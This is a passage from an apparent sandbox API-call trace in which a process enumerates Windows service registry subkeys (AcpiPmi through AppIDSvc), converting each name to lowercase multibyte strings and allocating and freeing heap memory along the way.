lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.816] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.816] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0193.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.817] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.817] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.817] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.817] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0193.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.818] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.818] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1c88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.818] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.818] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.818] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0193.818] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.819] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.819] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.819] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0193.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.820] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.820] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.820] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.820] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0193.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.821] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.821] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.821] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.821] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0193.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0193.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.822] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: 